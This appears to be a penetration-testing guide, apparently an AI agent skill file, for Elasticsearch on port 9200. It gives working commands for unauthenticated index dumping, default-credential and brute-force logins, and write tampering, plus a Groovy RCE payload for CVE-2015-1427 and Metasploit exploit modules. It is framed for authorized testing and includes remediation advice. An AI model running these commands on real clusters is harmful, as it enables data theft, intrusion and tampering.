Pentesting Elasticsearch (port 9200)
When to Use
- Default
9200/tcp (REST/HTTP API), 9300/tcp (node-to-node transport).
- Accessed over HTTP — browsing
http://<IP>:9200/ returns a JSON banner (cluster name, version, Lucene version).
- Use whenever 9200 is reachable — Elasticsearch ships with authentication disabled by default, exposing all indices.
Quick Enumeration
# Banner / version
curl -s http://<IP>:9200/
# Auth posture check
curl -s -X GET "http://<IP>:9200/_xpack/security/user"
# 500 "Security must be explicitly enabled" => auth DISABLED (open)
# 401 "missing authentication credentials" => auth ENABLED (need creds)
nmap -sV -p9200 --script http-* <IP>
msfconsole -q -x 'use auxiliary/scanner/elasticsearch/indices_enum; set RHOSTS <IP>; run; exit'
Critical: Checks Most Often Missed
- Authentication disabled (default) → full index dump — the #1 miss. Without X-Pack security, every index and document is world-readable.
- How to CONFIRM:
curl http://<IP>:9200/ returns the banner and curl http://<IP>:9200/_cat/indices?v lists indices. The _xpack/security/user 500 error confirms security is off.
- Default / weak credentials (when auth on) — HTTP basic auth with defaults:
elastic (superuser), kibana, logstash_system, beats_system, remote_monitoring_user, apm_system; old versions default password changeme.
- How to CONFIRM:
curl http://elastic:changeme@<IP>:9200/ returns data; brute force via any HTTP-basic tool.
- Write access to indices — an unauthenticated/over-privileged instance may allow creating/modifying documents (data tampering, stored XSS into dashboards).
- How to CONFIRM:
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' -d '{"a":"b"}' succeeds and the new index appears in _cat/indices.
- Dynamic scripting RCE (legacy clusters) — old versions allow server-side script execution leading to RCE:
- CVE-2014-3120 — MVEL dynamic scripting enabled by default in ES < 1.2 (
_search with a script field → code exec).
- CVE-2015-1427 — Groovy sandbox bypass in ES 1.3.0–1.3.7 / 1.4.0–1.4.2 (
script_fields Groovy payload → OS command exec).
- How to CONFIRM: a crafted
_search with a Groovy/MVEL script returns the output of java.lang.Runtime.getRuntime().exec(...); Metasploit script_mvel_rce / script_jvm_rce confirm.
Workflow
Step 1: Enumerate
curl -s http://<IP>:9200/ # version banner
curl -s http://<IP>:9200/_cat/indices?v # list indices + doc counts
curl -s http://<IP>:9200/_cluster/health?pretty
curl -s http://<IP>:9200/_security/user # roles/users (if auth on)
curl -s http://<IP>:9200/_cat # supported _cat endpoints
Step 2: Authenticate (open access, default/weak creds, brute force)
curl -s http://<IP>:9200/_cat/indices # try unauthenticated
curl -s -u elastic:changeme http://<IP>:9200/ # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /
# or any HTTP basic-auth brute (medusa, ffuf, patator) against /
Step 3: Exploit / Extract (dump indices + scripting RCE)
# Inspect an index mapping then dump documents (default page size = 10)
curl -s "http://<IP>:9200/bank"
curl -s "http://<IP>:9200/bank/_search?pretty=true&size=1000"
# Dump EVERYTHING across all indices
curl -s "http://<IP>:9200/_search?pretty=true&size=9999"
# Keyword search across all indices (q supports regex)
curl -s "http://<IP>:9200/_search?pretty=true&q=password"
# Test write access (stored data tampering)
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' \
-d '{"bookId":"A00-3","author":"x","name":"test"}'
# Legacy dynamic-scripting RCE (CVE-2015-1427 Groovy) — authorized labs only
curl -s "http://<IP>:9200/_search?pretty" -H 'Content-Type: application/json' -d '{
"size": 1,
"script_fields": {"x": {"lang":"groovy",
"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}'
# Metasploit equivalents
msfconsole -q -x 'use exploit/multi/elasticsearch/script_mvel_rce; set RHOSTS <IP>; run' # CVE-2014-3120
msfconsole -q -x 'use exploit/multi/elasticsearch/search_groovy_script; set RHOSTS <IP>; run' # CVE-2015-1427
Step 4: Post-access / privilege escalation / pivot
- Dumped indices frequently contain credentials, PII, tokens, and logs — reuse against web apps, SSH, cloud, and the linked Kibana.
- A linked Kibana on 5601 may proxy ES without auth; pivot there for additional RCE/XSS vectors.
- On RCE the script runs as the
elasticsearch user — enumerate host, sudo, and adjacent ELK components (Logstash, Beats).
- Write access lets you poison dashboards/log pipelines (stored XSS in Kibana) and tamper with detection data.
Key Concepts
| Concept |
Description |
| REST/HTTP API |
All interaction is HTTP on 9200; browser/curl give full access when auth is off. |
| Index / document |
An index is a JSON document collection; _search queries return documents. |
| Auth disabled default |
X-Pack security off by default → unauthenticated full read (and often write). |
| size parameter |
_search defaults to 10 results; set size=N to dump entire indices. |
| _cat / _cluster / _security |
Diagnostic endpoints exposing indices, health, users, and roles. |
| Dynamic scripting |
Server-side Groovy/MVEL scripts; legacy CVEs (3120/1427) turn this into RCE. |
Tools & Systems
| Tool |
Purpose |
| curl |
Primary client for banner, index listing, dumping, write tests, scripting RCE. |
| nmap NSE |
http-* scripts + version detection; nmap-elasticsearch-nse enumerates indices/plugins/nodes. |
| Metasploit |
scanner/elasticsearch/indices_enum, exploit/multi/elasticsearch/script_mvel_rce (CVE-2014-3120), search_groovy_script (CVE-2015-1427). |
| hydra / medusa / ffuf |
HTTP basic-auth brute force against /. |
| horuz |
Fuzz Elasticsearch endpoints/indices. |
| Kibana (5601) |
Linked frontend, frequent pivot for visualization-layer attacks. |
Common Scenarios
Scenario 1: Open cluster → mass data dump
curl http://<IP>:9200/_cat/indices?v lists customers, logs-* indices. _search?size=9999 exfiltrates every document, including plaintext PII and access logs with session tokens.
Scenario 2: Default elastic creds
Security is enabled but the elastic superuser still uses changeme. curl -u elastic:changeme http://<IP>:9200/_security/user enumerates all accounts and grants full cluster control.
Scenario 3: Legacy Groovy RCE
An ES 1.4.2 node allows dynamic scripting. A script_fields Groovy payload runs id, returning uid=...elasticsearch, escalating from data access to host command execution.
Output Format
## Elasticsearch Finding
**Service**: Elasticsearch
**Port**: 9200/tcp (Elasticsearch 7.6.0)
**Severity**: High
**Finding**: Authentication disabled exposing all indices
**Evidence**:
- curl http://<IP>:9200/_xpack/security/user -> 500 "Security must be explicitly enabled"
- curl http://<IP>:9200/_cat/indices?v -> customers, logs-2024, .kibana
- _search?size=9999 -> 50,000 customer records with emails + tokens
**Impact**: Unauthenticated read (and likely write) access to all stored data across the cluster.
**Recommendation**:
1. Enable X-Pack security (`xpack.security.enabled: true`) with TLS and strong credentials.
2. Restrict 9200/9300 to trusted hosts via firewall; never expose to the internet.
3. Change all default account passwords (elastic, kibana, logstash_system).
4. Disable dynamic scripting on legacy versions and upgrade to a supported release.
1---2name: pentesting-elasticsearch3description: Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120) during authorized engagements.4license: Apache-2.05---6
7# Pentesting Elasticsearch (port 9200)
8
9## When to Use
10- Default `9200/tcp` (REST/HTTP API), `9300/tcp` (node-to-node transport).
11- Accessed over **HTTP** — browsing `http://<IP>:9200/` returns a JSON banner (cluster name, version, Lucene version).
12- Use whenever 9200 is reachable — Elasticsearch ships with **authentication disabled by default**, exposing all indices.
13
14## Quick Enumeration
15```bash
16# Banner / version
17curl -s http://<IP>:9200/
18
19# Auth posture check
20curl -s -X GET "http://<IP>:9200/_xpack/security/user"
21# 500 "Security must be explicitly enabled" => auth DISABLED (open)
22# 401 "missing authentication credentials" => auth ENABLED (need creds)
23
24nmap -sV -p9200 --script http-* <IP>
25msfconsole -q -x 'use auxiliary/scanner/elasticsearch/indices_enum; set RHOSTS <IP>; run; exit'
26```
27
28## Critical: Checks Most Often Missed
29- **Authentication disabled (default) → full index dump** — the #1 miss. Without X-Pack security, every index and document is world-readable.
30 - How to CONFIRM: `curl http://<IP>:9200/` returns the banner and `curl http://<IP>:9200/_cat/indices?v` lists indices. The `_xpack/security/user` 500 error confirms security is off.
31- **Default / weak credentials (when auth on)** — HTTP basic auth with defaults: `elastic` (superuser), `kibana`, `logstash_system`, `beats_system`, `remote_monitoring_user`, `apm_system`; old versions default password `changeme`.
32 - How to CONFIRM: `curl http://elastic:changeme@<IP>:9200/` returns data; brute force via any HTTP-basic tool.
33- **Write access to indices** — an unauthenticated/over-privileged instance may allow creating/modifying documents (data tampering, stored XSS into dashboards).
34 - How to CONFIRM: `curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' -d '{"a":"b"}'` succeeds and the new index appears in `_cat/indices`.
35- **Dynamic scripting RCE (legacy clusters)** — old versions allow server-side script execution leading to RCE:
36 - **CVE-2014-3120** — MVEL dynamic scripting enabled by default in ES < 1.2 (`_search` with a `script` field → code exec).
37 - **CVE-2015-1427** — Groovy sandbox bypass in ES 1.3.0–1.3.7 / 1.4.0–1.4.2 (`script_fields` Groovy payload → OS command exec).
38 - How to CONFIRM: a crafted `_search` with a Groovy/MVEL `script` returns the output of `java.lang.Runtime.getRuntime().exec(...)`; Metasploit `script_mvel_rce` / `script_jvm_rce` confirm.
39
40## Workflow
41
42### Step 1: Enumerate
43```bash
44curl -s http://<IP>:9200/ # version banner
45curl -s http://<IP>:9200/_cat/indices?v # list indices + doc counts
46curl -s http://<IP>:9200/_cluster/health?pretty
47curl -s http://<IP>:9200/_security/user # roles/users (if auth on)
48curl -s http://<IP>:9200/_cat # supported _cat endpoints
49```
50
51### Step 2: Authenticate (open access, default/weak creds, brute force)
52```bash
53curl -s http://<IP>:9200/_cat/indices # try unauthenticated
54curl -s -u elastic:changeme http://<IP>:9200/ # default creds
55hydra -L users.txt -P passwords.txt <IP> http-get /
56# or any HTTP basic-auth brute (medusa, ffuf, patator) against /
57```
58
59### Step 3: Exploit / Extract (dump indices + scripting RCE)
60```bash
61# Inspect an index mapping then dump documents (default page size = 10)
62curl -s "http://<IP>:9200/bank"
63curl -s "http://<IP>:9200/bank/_search?pretty=true&size=1000"
64# Dump EVERYTHING across all indices
65curl -s "http://<IP>:9200/_search?pretty=true&size=9999"
66# Keyword search across all indices (q supports regex)
67curl -s "http://<IP>:9200/_search?pretty=true&q=password"
68
69# Test write access (stored data tampering)
70curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' \
71 -d '{"bookId":"A00-3","author":"x","name":"test"}'
72```
73```bash
74# Legacy dynamic-scripting RCE (CVE-2015-1427 Groovy) — authorized labs only
75curl -s "http://<IP>:9200/_search?pretty" -H 'Content-Type: application/json' -d '{
76 "size": 1,
77 "script_fields": {"x": {"lang":"groovy",
78 "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}'
79# Metasploit equivalents
80msfconsole -q -x 'use exploit/multi/elasticsearch/script_mvel_rce; set RHOSTS <IP>; run' # CVE-2014-3120
81msfconsole -q -x 'use exploit/multi/elasticsearch/search_groovy_script; set RHOSTS <IP>; run' # CVE-2015-1427
82```
83
84### Step 4: Post-access / privilege escalation / pivot
85- Dumped indices frequently contain credentials, PII, tokens, and logs — reuse against web apps, SSH, cloud, and the linked Kibana.
86- A linked Kibana on 5601 may proxy ES without auth; pivot there for additional RCE/XSS vectors.
87- On RCE the script runs as the `elasticsearch` user — enumerate host, sudo, and adjacent ELK components (Logstash, Beats).
88- Write access lets you poison dashboards/log pipelines (stored XSS in Kibana) and tamper with detection data.
89
90## Key Concepts
91| Concept | Description |
92|---------|-------------|
93| **REST/HTTP API** | All interaction is HTTP on 9200; browser/curl give full access when auth is off. |
94| **Index / document** | An index is a JSON document collection; `_search` queries return documents. |
95| **Auth disabled default** | X-Pack security off by default → unauthenticated full read (and often write). |
96| **size parameter** | `_search` defaults to 10 results; set `size=N` to dump entire indices. |
97| **_cat / _cluster / _security** | Diagnostic endpoints exposing indices, health, users, and roles. |
98| **Dynamic scripting** | Server-side Groovy/MVEL scripts; legacy CVEs (3120/1427) turn this into RCE. |
99
100## Tools & Systems
101| Tool | Purpose |
102|------|---------|
103| **curl** | Primary client for banner, index listing, dumping, write tests, scripting RCE. |
104| **nmap NSE** | `http-*` scripts + version detection; `nmap-elasticsearch-nse` enumerates indices/plugins/nodes. |
105| **Metasploit** | `scanner/elasticsearch/indices_enum`, `exploit/multi/elasticsearch/script_mvel_rce` (CVE-2014-3120), `search_groovy_script` (CVE-2015-1427). |
106| **hydra / medusa / ffuf** | HTTP basic-auth brute force against `/`. |
107| **horuz** | Fuzz Elasticsearch endpoints/indices. |
108| **Kibana (5601)** | Linked frontend, frequent pivot for visualization-layer attacks. |
109
110## Common Scenarios
111### Scenario 1: Open cluster → mass data dump
112`curl http://<IP>:9200/_cat/indices?v` lists `customers`, `logs-*` indices. `_search?size=9999` exfiltrates every document, including plaintext PII and access logs with session tokens.
113
114### Scenario 2: Default elastic creds
115Security is enabled but the `elastic` superuser still uses `changeme`. `curl -u elastic:changeme http://<IP>:9200/_security/user` enumerates all accounts and grants full cluster control.
116
117### Scenario 3: Legacy Groovy RCE
118An ES 1.4.2 node allows dynamic scripting. A `script_fields` Groovy payload runs `id`, returning `uid=...elasticsearch`, escalating from data access to host command execution.
119
120## Output Format
121```
122## Elasticsearch Finding
123
124**Service**: Elasticsearch
125**Port**: 9200/tcp (Elasticsearch 7.6.0)
126**Severity**: High
127**Finding**: Authentication disabled exposing all indices
128**Evidence**:
129 - curl http://<IP>:9200/_xpack/security/user -> 500 "Security must be explicitly enabled"
130 - curl http://<IP>:9200/_cat/indices?v -> customers, logs-2024, .kibana
131 - _search?size=9999 -> 50,000 customer records with emails + tokens
132**Impact**: Unauthenticated read (and likely write) access to all stored data across the cluster.
133**Recommendation**:
134 1. Enable X-Pack security (`xpack.security.enabled: true`) with TLS and strong credentials.
135 2. Restrict 9200/9300 to trusted hosts via firewall; never expose to the internet.
136 3. Change all default account passwords (elastic, kibana, logstash_system).
137 4. Disable dynamic scripting on legacy versions and upgrade to a supported release.
138```